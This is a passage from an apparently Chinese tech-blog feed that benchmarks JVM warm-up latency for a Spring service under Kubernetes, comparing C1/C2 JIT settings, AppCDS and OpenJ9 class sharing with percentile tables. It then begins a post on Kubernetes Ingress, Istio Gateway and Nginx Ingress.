highlighter-rouge">-XX:TieredStopAtLevel=1</code></li> +</ol> + +<p>我写了个简单的 Java Server,暴露一个 API,每次请求会访问一次数据库。代码里用到了 Spring MVC,Mybatis,所以这个看似简单的程序背后有大量的 class 需要被编译。</p> + +<p>然后限制 CPU 使用最多 0.5 核。再用压测工具每间 10 秒压测一轮记录下相关参数。另外我也控制了 QPS,保证在预热完成后实际 CPU 占用大约在 0.3 核左右。</p> + +<p>测试脚本很简单:</p> + +<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for </span>n <span class="o">({</span>1..50<span class="o">})</span><span class="p">;</span> <span class="k">do </span>fortio load <span class="nt">-quiet</span> <span class="nt">-qps</span> 1000 <span class="nt">-c</span> 100 <span class="nt">-t</span> 10s http://app-tester:8080/ <span class="p">;</span> <span class="k">done</span> +</code></pre></div></div> + +<p>下面是测试结果:</p> + +<p> </p> + +<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># openjdk8 默认参数</span> +java <span class="nt">-jar</span> app-tester.jar +</code></pre></div></div> + +<table> + <thead> + <tr> + <th>Time</th> + <th>P50</th> + <th>P75</th> + <th>P90</th> + <th>P99</th> + <th>P99.9</th> + </tr> + </thead> + <tbody> + <tr> + <td>0s</td> + <td>197.4</td> + <td>465.625</td> + <td>826.97</td> + <td>1886.29</td> + <td>2544.86</td> + </tr> + <tr> + <td>10s</td> + <td>182.765</td> + <td>238.632</td> + <td>446.176</td> + <td>995.955</td> + <td>1812.9</td> + </tr> + <tr> + <td>20s</td> + <td>99.205</td> + <td>160.3</td> + <td>267.201</td> + <td>1503.85</td> + <td>2551.17</td> + </tr> + <tr> + <td>30s</td> + <td>95.7119</td> + <td>106.129</td> + <td>183.418</td> + <td>503.273</td> + <td>758.72</td> + </tr> + <tr> + <td>40s</td> + <td>54.4359</td> + <td>89.8943</td> + <td>99.8245</td> + <td>193.144</td> + <td>246.976</td> + </tr> + <tr> + <td>50s</td> + <td>63.6049</td> + <td>94.1969</td> + <td>108.253</td> + <td>192.8</td> + <td>280.769</td> + </tr> + <tr> + <td>60s</td> + <td>55.2794</td> + <td>80.7453</td> + <td>95.5563</td> + <td>238.682</td> + <td>414.314</td> + </tr> + <tr> + <td>70s</td> + <td>70.991</td> + <td>97.7175</td> + <td>134.101</td> + <td>558.424</td> + <td>1571.53</td> + </tr> + <tr> + <td>80s</td> + <td>53.8337</td> + <td>83.1865</td> + <td>96.9365</td> + <td>175.921</td> + <td>276.923</td> + </tr> + <tr> + <td>90s</td> + <td>55.6827</td> + <td>83.9577</td> + <td>99.0229</td> + <td>285.921</td> + <td>616.3</td> + </tr> + <tr> + <td>100s</td> + <td>68.2399</td> + <td>91.0623</td> + <td>99.4049</td> + <td>450.0</td> + <td>1210.88</td> + </tr> + <tr> + <td>110s</td> + <td>9.45747</td> + <td>22.6015</td> + <td>38.6823</td> + <td>89.0323</td> + <td>134.074</td> + </tr> + <tr> + <td>120s</td> + <td>6.56564</td> + <td>9.21653</td> + <td>11.3129</td> + <td>17.7818</td> + <td>51.0</td> + </tr> + <tr> + <td>130s</td> + <td>6.38191</td> + <td>8.77066</td> + <td>11.1053</td> + <td>16.1176</td> + <td>20.0</td> + </tr> + <tr> + <td>140s</td> + <td>6.35324</td> + <td>8.74876</td> + <td>10.9444</td> + <td>15.0841</td> + <td>19.9286</td> + </tr> + <tr> + <td>150s</td> + <td>5.90095</td> + <td>8.38842</td> + <td>10.4839</td> + <td>101.412</td> + <td>230.556</td> + </tr> + <tr> + <td>160s</td> + <td>6.2864</td> + <td>8.5492</td> + <td>10.8375</td> + <td>17.7391</td> + <td>23.3668</td> + </tr> + <tr> + <td>170s</td> + <td>6.47078</td> + <td>8.4787</td> + <td>10.6983</td> + <td>13.8976</td> + <td>16.7143</td> + </tr> + <tr> + <td>180s</td> + <td>6.18094</td> + <td>8.41088</td> + <td>10.6717</td> + <td>16.2474</td> + <td>19.1111</td> + </tr> + <tr> + <td>190s</td> + <td>6.40341</td> + <td>8.61996</td> + <td>10.7623</td> + <td>14.9554</td> + <td>16.7245</td> + </tr> + <tr> + <td>200s</td> + <td>5.82933</td> + <td>8.4235</td> + <td>11.1083</td> + <td>17.7143</td> + <td>20.0</td> + </tr> + </tbody> +</table> + +<p><img src="/uploads/2020/02/latency-openjdk8-normal.png" alt="Latency" /></p> + +<p> </p> + +<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># openjdk8 直接用`c2`</span> +java <span class="nt">-XX</span>:-TieredCompilation <span class="nt">-jar</span> app-tester.jar +</code></pre></div></div> + +<table> + <thead> + <tr> + <th>Time</th> + <th>P50</th> + <th>P75</th> + <th>P90</th> + <th>P99</th> + <th>P99.9</th> + </tr> + </thead> + <tbody> + <tr> + <td>0s</td> + <td>453.606</td> + <td>927.703</td> + <td>1655.03</td> + <td>2595.36</td> + <td>2863.36</td> + </tr> + <tr> + <td>10s</td> + <td>371.242</td> + <td>544.75</td> + <td>800.857</td> + <td>1824.29</td> + <td>1989.57</td> + </tr> + <tr> + <td>20s</td> + <td>277.313</td> + <td>396.031</td> + <td>629.881</td> + <td>1966.02</td> + <td>3400.33</td> + </tr> + <tr> + <td>30s</td> + <td>217.866</td> + <td>318.429</td> + <td>462.0</td> + <td>1531.89</td> + <td>1965.35</td> + </tr> + <tr> + <td>40s</td> + <td>193.299</td> + <td>260.764</td> + <td>393.448</td> + <td>1362.96</td> + <td>2096.43</td> + </tr> + <tr> + <td>50s</td> + <td>113.403</td> + <td>195.336</td> + <td>301.646</td> + <td>1633.06</td> + <td>2397.96</td> + </tr> + <tr> + <td>60s</td> + <td>99.6747</td> + <td>181.452</td> + <td>204.595</td> + <td>575.091</td> + <td>1527.4</td> + </tr> + <tr> + <td>70s</td> + <td>98.4652</td> + <td>113.605</td> + <td>191.653</td> + <td>357.446</td> + <td>547.8</td> + </tr> + <tr> + <td>80s</td> + <td>94.7329</td> + <td>103.684</td> + <td>181.441</td> + <td>225.585</td> + <td>372.63</td> + </tr> + <tr> + <td>90s</td> + <td>39.6047</td> + <td>74.4492</td> + <td>93.5422</td> + <td>184.138</td> + <td>242.0</td> + </tr> + <tr> + <td>100s</td> + <td>6.47826</td> + <td>8.70323</td> + <td>11.0</td> + <td>15.3176</td> + <td>17.641</td> + </tr> + <tr> + <td>110s</td> + <td>6.47217</td> + <td>8.58247</td> + <td>10.2566</td> + <td>13.3855</td> + <td>20.8732</td> + </tr> + <tr> + <td>120s</td> + <td>6.52315</td> + <td>8.65213</td> + <td>10.4059</td> + <td>14.466</td> + <td>17.2222</td> + </tr> + <tr> + <td>130s</td> + <td>6.51371</td> + <td>8.95079</td> + <td>12.8831</td> + <td>491.522</td> + <td>1664.8</td> + </tr> + <tr> + <td>140s</td> + <td>7.44685</td> + <td>10.3701</td> + <td>15.9692</td> + <td>95.098</td> + <td>116.327</td> + </tr> + <tr> + <td>150s</td> + <td>5.81025</td> + <td>8.21096</td> + <td>10.4226</td> + <td>14.5373</td> + <td>186.301</td> + </tr> + <tr> + <td>160s</td> + <td>5.97931</td> + <td>8.5613</td> + <td>11.2288</td> + <td>14.9781</td> + <td>17.7391</td> + </tr> + <tr> + <td>170s</td> + <td>6.2186</td> + <td>8.42152</td> + <td>10.5688</td> + <td>16.7727</td> + <td>103.343</td> + </tr> + <tr> + <td>180s</td> + <td>5.77665</td> + <td>8.2974</td> + <td>10.6585</td> + <td>14.3762</td> + <td>20.0</td> + </tr> + <tr> + <td>190s</td> + <td>6.06703</td> + <td>8.39861</td> + <td>10.6397</td> + <td>15.7522</td> + <td>19.3684</td> + </tr> + <tr> + <td>200s</td> + <td>6.72526</td> + <td>8.69675</td> + <td>10.2719</td> + <td>14.422</td> + <td>16.4739</td> + </tr> + </tbody> +</table> + +<p><img src="/uploads/2020/02/latency-openjdk8-tier-4.png" alt="Latency" /></p> + +<p> </p> + +<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># openjdk8 只用`c1`</span> +java <span class="nt">-XX</span>:TieredStopAtLevel<span class="o">=</span>1 <span class="nt">-jar</span> app-tester.jar +</code></pre></div></div> + +<table> + <thead> + <tr> + <th>Time</th> + <th>P50</th> + <th>P75</th> + <th>P90</th> + <th>P99</th> + <th>P99.9</th> + </tr> + </thead> + <tbody> + <tr> + <td>0s</td> + <td>211.275</td> + <td>424.238</td> + <td>821.042</td> + <td>2786.87</td> + <td>3610.91</td> + </tr> + <tr> + <td>10s</td> + <td>96.4706</td> + <td>108.599</td> + <td>191.273</td> + <td>494.333</td> + <td>949.333</td> + </tr> + <tr> + <td>20s</td> + <td>10.2844</td> + <td>23.4359</td> + <td>63.6352</td> + <td>86.0784</td> + <td>98.6207</td> + </tr> + <tr> + <td>30s</td> + <td>9.46099</td> + <td>15.5472</td> + <td>45.2062</td> + <td>76.5942</td> + <td>98.125</td> + </tr> + <tr> + <td>40s</td> + <td>9.55367</td> + <td>13.2348</td> + <td>57.7083</td> + <td>85.3202</td> + <td>89.7537</td> + </tr> + <tr> + <td>50s</td> + <td>9.1522</td> + <td>12.9049</td> + <td>23.0952</td> + <td>64.2593</td> + <td>82.2222</td> + </tr> + <tr> + <td>60s</td> + <td>9.11557</td> + <td>12.6746</td> + <td>37.7211</td> + <td>65.5556</td> + <td>131.25</td> + </tr> + <tr> + <td>70s</td> + <td>9.74239</td> + <td>13.1191</td> + <td>39.3182</td> + <td>87.6531</td> + <td>102.553</td> + </tr> + <tr> + <td>80s</td> + <td>8.4283</td> + <td>11.9672</td> + <td>49.375</td> + <td>87.4699</td> + <td>99.0</td> + </tr> + <tr> + <td>90s</td> + <td>10.1996</td> + <td>27.13</td> + <td>65.2153</td> + <td>78.6027</td> + <td>85.0</td> + </tr> + <tr> + <td>100s</td> + <td>9.77195</td> + <td>17.5556</td> + <td>62.7608</td> + <td>77.1237</td> + <td>85.0</td> + </tr> + <tr> + <td>110s</td> + <td>9.28459</td> + <td>12.2199</td> + <td>15.7638</td> + <td>74.0667</td> + <td>82.0</td> + </tr> + <tr> + <td>120s</td> + <td>9.76496</td> + <td>14.0235</td> + <td>42.4895</td> + <td>58.5942</td> + <td>140.0</td> + </tr> + <tr> + <td>130s</td> + <td>9.375</td> + <td>13.8936</td> + <td>55.1143</td> + <td>476.0</td> + <td>1273.44</td> + </tr> + <tr> + <td>140s</td> + <td>10.2008</td> + <td>20.4795</td> + <td>41.8148</td> + <td>90.0</td> + <td>147.143</td> + </tr> + <tr> + <td>150s</td> + <td>11.3643</td> + <td>43.3864</td> + <td>73.0446</td> + <td>170.252</td> + <td>284.783</td> + </tr> + <tr> + <td>160s</td> + <td>11.8096</td> + <td>66.9327</td> + <td>93.0346</td> + <td>281.25</td> + <td>616.286</td> + </tr> + <tr> + <td>170s</td> + <td>9.89216</td> + <td>16.4603</td> + <td>66.4623</td> + <td>107.273</td> + <td>262.5</td> + </tr> + <tr> + <td>180s</td> + <td>10.0154</td> + <td>17.9604</td> + <td>49.9324</td> + <td>78.0159</td> + <td>131.429</td> + </tr> + <tr> + <td>190s</td> + <td>9.32549</td> + <td>14.1396</td> + <td>35.3042</td> + <td>84.6721</td> + <td>97.8125</td> + </tr> + <tr> + <td>200s</td> + <td>9.43291</td> + <td>12.44</td> + <td>33.3529</td> + <td>58.1505</td> + <td>147.661</td> + </tr> + </tbody> +</table> + +<p><img src="/uploads/2020/02/latency-openjdk8-tier-1.png" alt="Latency" /></p> + +<p>经过对比,只用<code class="language-plaintext highlighter-rouge">c1</code>虽然前期稍微好一点,但是后期性能差太多了;直接用<code class="language-plaintext highlighter-rouge">c2</code>更加剧了前期的问题,虽然预热很快就结束了,但也无法接受。</p> + +<p> </p> + +<h4 id="尝试-java-13-appcds">尝试 Java 13 AppCDS</h4> + +<p>Java 从 10 开始提供 AppCDS,可以从这篇文章中了解到更多信息:<a href="https://blog.codefx.org/java/application-class-data-sharing/">Improve Launch Times On Java 13 With Application Class-Data Sharing +</a></p> + +<p>本质上是先把程序跑一遍,分析一下哪些 class 需要编译,然后提前编译一下缓存下来。</p> + +<p>所以程序直接跑就不行了,需要提前预处理一下,这里的启动脚本需要改一下:</p> + +<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># openjdk13</span> + +<span class="nv">WARM_UP</span><span class="o">=</span>1 java <span class="nt">-jar</span> <span class="nt">-XX</span>:ArchiveClassesAtExit<span class="o">=</span>app-cds.jsa app-tester.jar +java <span class="nt">-jar</span> <span class="nt">-XX</span>:SharedArchiveFile<span class="o">=</span>app-cds.jsa app-tester.jar +</code></pre></div></div> + +<p>这里对程序也进行了一点改动,会在启动完成后调用一下内部业务让 AppCDS 知道这个类需要被缓存,然后也要加一个环境变量,如果跑一下的目的是分析 class 缓存情况,那么启动完了就可以直接停掉了。</p> + +<p>我这里内部是根据环境变量<code class="language-plaintext highlighter-rouge">WARM_UP=1</code>来判断的。也可以不实现这个,直接在启动脚本里固定时间把程序关闭。</p> + +<p>结果如下:</p> + +<table> + <thead> + <tr> + <th>Time</th> + <th>P50</th> + <th>P75</th> + <th>P90</th> + <th>P99</th> + <th>P99.9</th> + </tr> + </thead> + <tbody> + <tr> + <td>0s</td> + <td>197.4</td> + <td>465.625</td> + <td>826.97</td> + <td>1886.29</td> + <td>2544.86</td> + </tr> + <tr> + <td>10s</td> + <td>182.765</td> + <td>238.632</td> + <td>446.176</td> + <td>995.955</td> + <td>1812.9</td> + </tr> + <tr> + <td>20s</td> + <td>99.205</td> + <td>160.3</td> + <td>267.201</td> + <td>1503.85</td> + <td>2551.17</td> + </tr> + <tr> + <td>30s</td> + <td>95.7119</td> + <td>106.129</td> + <td>183.418</td> + <td>503.273</td> + <td>758.72</td> + </tr> + <tr> + <td>40s</td> + <td>54.4359</td> + <td>89.8943</td> + <td>99.8245</td> + <td>193.144</td> + <td>246.976</td> + </tr> + <tr> + <td>50s</td> + <td>63.6049</td> + <td>94.1969</td> + <td>108.253</td> + <td>192.8</td> + <td>280.769</td> + </tr> + <tr> + <td>60s</td> + <td>55.2794</td> + <td>80.7453</td> + <td>95.5563</td> + <td>238.682</td> + <td>414.314</td> + </tr> + <tr> + <td>70s</td> + <td>70.991</td> + <td>97.7175</td> + <td>134.101</td> + <td>558.424</td> + <td>1571.53</td> + </tr> + <tr> + <td>80s</td> + <td>53.8337</td> + <td>83.1865</td> + <td>96.9365</td> + <td>175.921</td> + <td>276.923</td> + </tr> + <tr> + <td>90s</td> + <td>55.6827</td> + <td>83.9577</td> + <td>99.0229</td> + <td>285.921</td> + <td>616.3</td> + </tr> + <tr> + <td>100s</td> + <td>68.2399</td> + <td>91.0623</td> + <td>99.4049</td> + <td>450.0</td> + <td>1210.88</td> + </tr> + <tr> + <td>110s</td> + <td>9.45747</td> + <td>22.6015</td> + <td>38.6823</td> + <td>89.0323</td> + <td>134.074</td> + </tr> + <tr> + <td>120s</td> + <td>6.56564</td> + <td>9.21653</td> + <td>11.3129</td> + <td>17.7818</td> + <td>51.0</td> + </tr> + <tr> + <td>130s</td> + <td>6.38191</td> + <td>8.77066</td> + <td>11.1053</td> + <td>16.1176</td> + <td>20.0</td> + </tr> + <tr> + <td>140s</td> + <td>6.35324</td> + <td>8.74876</td> + <td>10.9444</td> + <td>15.0841</td> + <td>19.9286</td> + </tr> + <tr> + <td>150s</td> + <td>5.90095</td> + <td>8.38842</td> + <td>10.4839</td> + <td>101.412</td> + <td>230.556</td> + </tr> + <tr> + <td>160s</td> + <td>6.2864</td> + <td>8.5492</td> + <td>10.8375</td> + <td>17.7391</td> + <td>23.3668</td> + </tr> + <tr> + <td>170s</td> + <td>6.47078</td> + <td>8.4787</td> + <td>10.6983</td> + <td>13.8976</td> + <td>16.7143</td> + </tr> + <tr> + <td>180s</td> + <td>6.18094</td> + <td>8.41088</td> + <td>10.6717</td> + <td>16.2474</td> + <td>19.1111</td> + </tr> + <tr> + <td>190s</td> + <td>6.40341</td> + <td>8.61996</td> + <td>10.7623</td> + <td>14.9554</td> + <td>16.7245</td> + </tr> + <tr> + <td>200s</td> + <td>5.82933</td> + <td>8.4235</td> + <td>11.1083</td> + <td>17.7143</td> + <td>20.0</td> + </tr> + </tbody> +</table> + +<p><img src="/uploads/2020/02/latency-openjdk13-appcds.png" alt="Latency" /></p> + +<p>好像效果并不是非常明显,这也正常,因为我的预热代码是不可能覆盖所有真正要跑的代码的。</p> + +<p>能否让程序在长时间运行的时候顺便把这些信息缓存下来,然后在下一次启动的时候直接用呢?因为这种模式下缓存下来的才是真正有用的。</p> + +<p> </p> + +<h4 id="尝试-openj9">尝试 OpenJ9</h4> + +<p>后来又发现 OpenJ9 在这块做得非常强大,细节可以看这两篇文章:</p> + +<ul> + <li><a href="https://www.ibm.com/developerworks/cn/java/j-optimize-jvm-startup-with-eclipse-openjj9/index.html">使用 Eclipse OpenJ9 优化 JVM 启动</a></li> + <li><a href="https://www.ibm.com/developerworks/cn/java/j-class-sharing-openj9/index.html">Eclipse OpenJ9 中的类共享</a></li> +</ul> + +<p>OpenJ9 配置起来非常简单,而且它可以做到所有 JVM 程序共享同一份缓存,缓存满了以后它能自动清理长时间不用的 class。</p> + +<p>除此以外,它还可以大幅减少 JVM 内存占用。因为一个简单的 Java 程序跑起来后大部内存都是公用框架占用的。</p> + +<p>在 Kubernetes 里想要用到这个的话,需要把这个共享文件挂在到宿主机上,否则放在容器内的话一启动就丢失了,也就没有意义了。</p> + +<p>我这里会压测两次,第一次是预热,让它生成缓存。第二次是真正的压测,直接贴上第二次压测的结果:</p> + +<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># openjdk8-openj9</span> + +<span class="c"># 打印一下统计信息,确认缓存有效</span> +java <span class="nt">-Xshareclasses</span>:cacheDir<span class="o">=</span>/tmp/java/cache,printStats <span class="nt">-Xscmx256M</span> + +java <span class="nt">-jar</span> <span class="nt">-Xshareclasses</span>:cacheDir<span class="o">=</span>/tmp/java/cache <span class="nt">-Xscmx256M</span> <span class="nt">-Xtune</span>:virtualized app-tester.jar +</code></pre></div></div> + +<p>打印出的缓存信息说明缓存的确有效:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Current statistics for cache "sharedcc_root": + +Cache created with: + -Xnolinenumbers = false + BCI Enabled = true + Restrict Classpaths = false + Feature = cr + +Cache contains only classes with line numbers + +base address = 0x00007FCEE4059000 +end address = 0x00007FCEF4000000 +allocation pointer = 0x00007FCEE4ECE618 + +cache size = 268434848 +softmx bytes = 268434848 +free bytes = 214523260 +ROMClass bytes = 15160856 +AOT bytes = 14677324 +Reserved space for AOT bytes = -1 +Maximum space for AOT bytes = -1 +JIT data bytes = 198972 +Reserved space for JIT data bytes = -1 +Maximum space for JIT data bytes = -1 +Zip cache bytes = 921504 +Startup hint bytes = 0 +Data bytes = 363936 +Metadata bytes = 1146436 +Metadata % used = 2% +Class debug area size = 21442560 +Class debug area used bytes = 2226388 +Class debug area % used = 10% + +# ROMClasses = 19693 +# AOT Methods = 3852 +# Classpaths = 31 +# URLs = 0 +# Tokens = 0 +# Zip caches = 5 +# Startup hints = 0 +# Stale classes = 13522 +% Stale classes = 68% + +Cache is 20% full + +Cache is accessible to current user = true +</code></pre></div></div> + +<table> + <thead> + <tr> + <th>Time</th> + <th>P50</th> + <th>P75</th> + <th>P90</th> + <th>P99</th> + <th>P99.9</th> + </tr> + </thead> + <tbody> + <tr> + <td>0s</td> + <td>102.454</td> + <td>188.202</td> + <td>278.445</td> + <td>2341.51</td> + <td>2727.5</td> + </tr> + <tr> + <td>10s</td> + <td>67.1237</td> + <td>93.6605</td> + <td>111.917</td> + <td>288.161</td> + <td>500.546</td> + </tr> + <tr> + <td>20s</td> + <td>47.2991</td> + <td>75.4605</td> + <td>89.9772</td> + <td>161.132</td> + <td>293.333</td> + </tr> + <tr> + <td>30s</td> + <td>62.2794</td> + <td>85.4817</td> + <td>96.9474</td> + <td>229.545</td> + <td>416.667</td> + </tr> + <tr> + <td>40s</td> + <td>49.8906</td> + <td>76.3703</td> + <td>91.7203</td> + <td>150.732</td> + <td>236.957</td> + </tr> + <tr> + <td>50s</td> + <td>8.15622</td> + <td>11.1215</td> + <td>35.0</td> + <td>138.242</td> + <td>264.286</td> + </tr> + <tr> + <td>60s</td> + <td>43.4973</td> + <td>70.217</td> + <td>85.4565</td> + <td>155.224</td> + <td>198.667</td> + </tr> + <tr> + <td>70s</td> + <td>49.7949</td> + <td>75.8014</td> + <td>90.5059</td> + <td>152.414</td> + <td>228.125</td> + </tr> + <tr> + <td>80s</td> + <td>9.25926</td> + <td>18.4314</td> + <td>87.8878</td> + <td>400.0</td> + <td>912.47</td> + </tr> + <tr> + <td>90s</td> + <td>7.81955</td> + <td>10.5167</td> + <td>13.0704</td> + <td>61.2437</td> + <td>67.8283</td> + </tr> + <tr> + <td>100s</td> + <td>7.43318</td> + <td>10.1478</td> + <td>12.7896</td> + <td>16.963</td> + <td>84.6154</td> + </tr> + <tr> + <td>110s</td> + <td>7.2323</td> + <td>9.6565</td> + <td>12.1038</td> + <td>68.6</td> + <td>111.232</td> + </tr> + <tr> + <td>120s</td> + <td>7.27096</td> + <td>9.58172</td> + <td>11.3835</td> + <td>58.5185</td> + <td>69.8592</td> + </tr> + <tr> + <td>130s</td> + <td>7.87992</td> + <td>9.91841</td> + <td>11.604</td> + <td>14.7463</td> + <td>42.5</td> + </tr> + <tr> + <td>140s</td> + <td>7.87443</td> + <td>10.1154</td> + <td>12.9932</td> + <td>69.172</td> + <td>87.0416</td> + </tr> + <tr> + <td>150s</td> + <td>7.90534</td> + <td>10.4325</td> + <td>12.4497</td> + <td>24.0323</td> + <td>79.011</td> + </tr> + <tr> + <td>160s</td> + <td>7.36498</td> + <td>9.81537</td> + <td>12.6328</td> + <td>65.4645</td> + <td>70.6221</td> + </tr> + <tr> + <td>170s</td> + <td>7.34259</td> + <td>9.52754</td> + <td>11.1351</td> + <td>14.6988</td> + <td>41.7267</td> + </tr> + <tr> + <td>180s</td> + <td>7.41449</td> + <td>10.0634</td> + <td>12.3634</td> + <td>46.358</td> + <td>51.5424</td> + </tr> + <tr> + <td>190s</td> + <td>7.35043</td> + <td>9.78647</td> + <td>12.1596</td> + <td>19.8182</td> + <td>40.7143</td> + </tr> + <tr> + <td>200s</td> + <td>7.80748</td> + <td>9.80591</td> + <td>11.1057</td> + <td>15.5394</td> + <td>17.7627</td> + </tr> + </tbody> +</table> + +<p><img src="/uploads/2020/02/latency-openjdk8-openj9.png" alt="Latency" /></p> + +<p>这个效果可以说是非常惊喜了,P99 和 P99.9 虽然前 10 秒高了一点,但是后面立刻降了下来,而 P90 简直是吊打别的方案。</p> + +<p>当然,根据文档看这个是会影响吞吐量的,也就是说同样的 QPS 消耗的 CPU 会高一点,可以看到 P50 也稍微高了一点。</p> + +<p>最后再把六个方案的 P90 放在一起看一下:</p> + +<p><img src="/uploads/2020/02/latency-p90.png" alt="Latency" /></p> + +<p>所以如何选择就要看你的取舍了,如果你的业务真的对冷启动很敏感,可以接受吞吐下降,那么 OpenJ9 是个很好的选择。</p> + +<p>OpenJ9 除了启动预热速度快以外,内存消耗也非常小。一般一个 Spring Boot 的程序启动就要至少 200M 以上内存,最简单的程序都要分配个 512M。而用了 OpenJ9 后 class 都被做成了内存映射文件,所以工作内存占用会非常小,对于简单程序非常有优势。</p> + +<p>除了从 JVM 角度优化,能不能从发布过程角度优化呢?</p> + +<p> </p> + +<h4 id="改变发布过程">改变发布过程</h4> + +<p>既然传统微服务可以控制发布过程,那 Kubernetes 集群内从技术角度肯定也是可以实现的。</p> + +<p>Kubernetes 本身没有这个能力,但是通过 Istio 其实是可以是实现的。</p> + +<p>我们找到了这个开源项目:<a href="https://docs.flagger.app/">Flagger</a></p> + +<p>它就是利用 Istio 的流量控制来精准地分配流量比例:</p> + +<p><img src="/uploads/2020/02/flagger-canary-steps.png" alt="Flagger" /></p> + +<p>我们也在线上实测过,但实际效果上还有一点点偏差。因为它本质上不是为了解决我们这个问题而做的,它本身是为了做金丝雀发布或者蓝绿发布的。</p> + +<p>但我们下一步可能会考虑利用这个开源项目改造出适应我们自己的方案。</p> + +<p> </p> + +<h3 id="总结">总结</h3> + +<p>上面提的几个问题和很多方案,我们都在线上试验过,上面的测试结果也都是我严格控制环境测出来的。</p> + +<p>针对三种情况,目前都有可以改善的不完美解决办法:</p> + +<ol> + <li>Golang + Istio 启动失败:让业务容器比 Envoy 晚启动几秒</li> + <li>Istio 优雅关闭:配置 Istio 安装参数,让 Envoy 比业务容器晚关闭几秒</li> + <li>Java 程序启动时负载过高延迟过大:用 OpenJ9 或者自研发布控制工具</li> +</ol> + +<p>还好这个问题不算一个特别大的问题,只是作为一个工程师想尽量让启动和关闭的场景下可以 0 报错。</p> + +<p>后面我们还会继续探索,想办法解决这些问题。</p> + + Fri, 28 Feb 2020 00:00:00 +0000 + /2020/02/graceful-start-and-shutdown.html + /2020/02/graceful-start-and-shutdown.html + + + + Service Mesh 实践(四):从开源 Ingress 到自研 API Gateway + <h3 id="kubernetes-ingress">Kubernetes Ingress</h3> + +<p>Ingress 的相关概念可以直接看 Kubernetes 的文档,讲的很清楚了:</p> + +<ul> + <li><a href="https://kubernetes.io/docs/concepts/services-networking/ingress/">Ingress</a></li> + <li><a href="https://kubernetes.io/docs/concepts/services-networking/ingress-controllers/">Ingress Controllers</a></li> +</ul> + +<p>简单的来说,它和传统服务器架构中的负载均衡器是类似的,本质上就是把集群内部的服务暴露给集群外。</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> internet + | + [ Ingress ] + --|-----|-- + [ Services ] +</code></pre></div></div> + +<p>这块技术方案非常多,要开发一个自己的 Kubernetes Ingress 也不难。看 Ingress Controllers 这篇文章,Ingress Controllers 的意思就是 Kubernetes Ingress 的具体实现。</p> + +<p>两年前比较靠谱的方案主要是 Nginx Ingress 和 Istio Gateway,而现在技术方案已经非常多了。所有传统负载均衡厂商基本都为 Kubernetes 开发了 Ingress。</p> + +<p>从严格的定义看,Istio Gateway 不能算是一个 Ingress Controller,因为它并不是根据 Kubernetes 里的<code class="language-plaintext highlighter-rouge">Ingress</code>资源来定义路由规则的。</p> + +<p>Kubernetes Ingress 的理念是想做一层抽象,配置和实现解耦,所有的配置都是配置<code class="language-plaintext highlighter-rouge">Ingress</code>,而不需要关心具体的技术实现。</p> + +<p>Istio Gateway 不用<code class="language-plaintext highlighter-rouge">Ingress</code>来配置,而是使用了自己的一套资源来配置,实际的功能上也比 Kubernetes Ingress 更丰富。因为技术实现脱离了 Kubernetes Ingress,所以我觉得严格的定义来看它不是一个 Ingress Controller。</p> + +<!--more--> + +<p> </p> + +<h3 id="istio-gateway">Istio Gateway</h3> + +<p>既然我们用 Istio 做集群内的服务治理,那么用 Istio Gateway 也是合情合理的事情。因为 Istio Gateway 的相关配置和集群内整合了 Istio 的服务相关配置都是相同的,只需要配置一份就可以通用。而且功能上也比 Kubernetes Ingress 丰富的多。</p> + +<p>我们一开始也不是没有用过,最早我们就是用的 Istio Gateway。</p> + +<p>但是它有什么问题呢?</p> + +<p>很早版本的 Istio 和 Helm 配合使用时有很多问题的,经常遇到升级版本出问题导致整个 Istio 只能卸载重来的情况。Istio 也一直在努力改善这个问题,例如现在版本把 CRDs 和 Helm Chart 分离;还有开发中的 Istio Operator 完全脱离 Helm。这些都是为了摆脱 Helm 带来的问题,毕竟部署 Istio 还是有点复杂的,模块太多。</p> + +<p>另外从 Istio 的设计理念角度看,整个集群就算没有 Istio 也可以正常运作的,无非就是缺失一些辅助功能。遇到上述问题的时候,我们只能把 Istio 卸载重装,而在这个过程中,最大的问题就是 Istio Gateway 了。</p> + +<p>用了 Istio Gateway 后,对 Istio 就有了强依赖,Istio Gateway 又是打包在 Istio 中的,无法独立管理。</p> + +<p>最后考虑到未来我们一定是脱离这些搞自研的,所以决定摆脱 Istio Gateway 的限制,也不要让我们的集群对 Istio 产生太强的依赖。</p> + +<p> </p> + +<h3 id="nginx-ingress">Nginx Ingress</h3> + +<p>排除 Istio Gateway 后,开始尝试使用 Nginx Ingress,但是也遇到了一些问题。这里可以贴一些问题的排查思路和解决方案,结果不是最重要的,最重要的是解决问题的思路。</p> + +<p><img src="/uploads/2020/02/nginx-ingress-with-istio.png" alt="Nginx Ingress with Istio" /></p> + +<p>一开始我们搭建 Nginx Ingress 的时候是包着 Istio 的,因为如果不包着 Istio,Nginx Ingress 访问集群内部服务的时候就无法用到 Istio 相关功能了。</p> + +<p>Envoy + Pilot 的配合其实是替代了 Kubernetes 内置的<code class="language-plaintext highlighter-rouge">Service</code>,做了一套自己的服务发现机制,因为这样才能实现更强大的流量控制功能。例如 A 服务访问 B 服务,B 服务中有一台主机会偶发性报 500,但它的 Kubernetes 健康检查却是正常的,没有完全挂掉。如果配置了<code class="language-plaintext highlighter-rouge">DestinationRule</code>的<code class="language-plaintext highlighter-rouge">outlierDetection</code>后,Envoy 会自动拆除目标机器。</p> + +<p>和所有的流量控制一样,这套逻辑是在调用方来实现,而不是服务提供方实现的。按照这张图的例子,<code class="language-plaintext highlighter-rouge">user-service</code>的信息会由 Pilot 通过 xDS 协议推送给 Envoy,Envoy 就知道如果要访问<code class="language-plaintext highlighter-rouge">user-service</code>的时候要访问哪些 IP 了。启用 Istio 后<code class="language-plaintext highlighter-rouge">user-service</code>里面的<code class="language-plaintext highlighter-rouge">Service</code>并没有实际的作用了,只是用来给 Pilot 分析这个服务对应着哪些<code class="language-plaintext highlighter-rouge">Pod</code>而已。实际的流量也不会像 Kubernetes 里的<code class="language-plaintext highlighter-rouge">Service</code>一样通过<code class="language-plaintext 